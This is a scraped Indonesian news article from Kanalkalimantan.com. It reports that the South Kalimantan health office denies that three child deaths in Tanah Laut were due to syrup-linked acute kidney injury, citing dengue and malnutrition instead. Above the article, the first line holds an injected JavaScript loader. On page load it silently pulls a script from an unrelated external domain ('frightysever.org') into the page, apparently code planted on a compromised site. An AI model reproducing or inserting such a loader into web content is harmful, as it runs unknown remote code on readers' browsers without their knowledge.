(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

Dinkes Kalsel Bantah Kabar 3 Anak Meninggal Akibat Gangguan Gagal Ginjal Akut


KANALKALIMANTAN.COM, BANJARBARU – Masyarakat Kalimantan Selatan sempat dihebohkan dengan adanya temuan 3 anak meninggal dunia diduga mengidap Gangguan Ginjal Akut Progresif Atpikal (GGAPA) atau Atypical Progressive Acute Kidney Injury (AP AKI) yang diduga akibat mengkonsumsi obat cair (sirup) pada anak-anak.

Tiga pasien GGAPA di Kalsel dilaporkan meninggal dunia berdasarkan laporan Kemenkes RI berasal dari Tanah Laut yang dirawat di RSUD Hadji Boejasin.

Setelah dilakukan penyelidikan mendalam, Dinas Kesehatan (Dinkes) Provinsi Kalsel menepis kabar tersebut. Dinkes Kalsel menyebut kematian 3 orang pasien ini disebabkan karena penyakit lain yang dideritanya.

Kepala Bidang Pencegahan dan Pengendalian Penyakit (P2P) Dinkes Kalsel, Syahriani Nor memastikan hingga saat ini belum ada terkonfirmasi positif terkonfirmasi gagal ginjal akut dan kasus tersebut masih dalam pendalaman penyelidikan epidemiologi (PE).

 

 

Baca juga: ENERVON-C Dukung Penjaringan Atlet Muda Atletik dari Kalsel di Student Athletics Championships 2022

“Diduga gejala itu (GGAPA, red), sehingga dilaporkanlah dalam aplikasi sistem informasi rumah sakit, sehingga kita (Dinkes Kalsel, red) mendapat feedback dari Kemenkes berdasarkan laporan tersebut,” katanya.

Diakuinya berdasarkan laporan aplikasi sistem rumah sakit ada 5 orang pasien yang diduga mengidap GGAPA.

Menurutnya, kemungkinan petugas dari RSUD Hadji Boejasin Tala langsug meng-input data tanpa konfirmasi kepada Dinkes Kalsel untuk kepastian penyebabnya.

“Setelah penyelidikan, 3 pasien meninggal di Tala meninggal bukan karena gagal ginjal akut, ada penyebab lain ada DBD dan gizi buruk,” sebutnya.

Sementara itu, masih kata Syahriani, 2 orang lainnya masih probable yang diyakini sebagai suspek. Yang dicurigai mengonsumsi obat cair sirup.

Baca juga: Laka Maut Bus Mini Rombongan Umrah dari Kapuas di Jalan Gubernur Syarkawi, 4 Penumpang Tewas

“Kita masih munggu hasil dari laboratoriom yang dikirim, apakah memang positif, ini masih probable,” akunya.

Dirinya pun berharap kepada 13 kabupaten/kota di Kalsel bisa melakukan penyelidikan terhadap kasus GGAPA.(Kanalkalimantan.com/ibnu)

Reporter: ibnu
Editor: bie


Risa

Recent Posts

Kabar Virus HMPV, Kadinkes Banjarbaru: Tetap Jaga Imunitas

KANALKALIMANTAN.COM, BANJARBARU - Kemunculan virus asal negeri China yang dikatakan mirip Covid-19 menghebohkan masyarakat karena… Read More

2 jam ago

Malam Tasyakuran HAB Ke-79 Kantor Kemenag HSU

KANALKALIMANTAN.COM, AMUNTAI - Kepala Kantor Kementerian Agama (Kankemenag) Hulu Sungai Utara (HSU) Hj. Nahdiyatul Husna,… Read More

2 jam ago

Penerimaan Pajak DJP Kalselteng 2024 Capai Angka Rp31,65 Triliun

KANALKALIMANTAN.COM, BANJARMASIN - Kantor Wilayah Direktorat Jenderal Pajak Kalimantan Selatan dan Tengah (Kanwil DJP Kalselteng)… Read More

16 jam ago

Perebutan Gelar Bergengsi Supercopa de España, RCTI Siap Menyajikan Drama Sepak Bola Spanyol!

KANALKALIMANTAN.COM - Supercopa de España atau dikenal juga sebagai Piala Super Spanyol kembali hadir untuk… Read More

19 jam ago

Bupati HST Terpilih Siap Berdayakan Anggota Komcad

KANALKALIMANTAN.COM, BARABAI – Meski belum dilantik, Bupati Hulu Sungai Tengah (HST) terpilih, Samsul Rizal berjanji… Read More

20 jam ago

Sekda Kalsel ‘Dicari’ OKP, Dituduh Arogan Potong Dana Hibah

KANALKALIMANTAN.COM, BANJARBARU - Puluhan orang mengatasnamakan diri dari Organisasi Kemasyarakatan Pemuda (OKP) Kalimantan Selatan (Kalsel)… Read More

20 jam ago

This website uses cookies.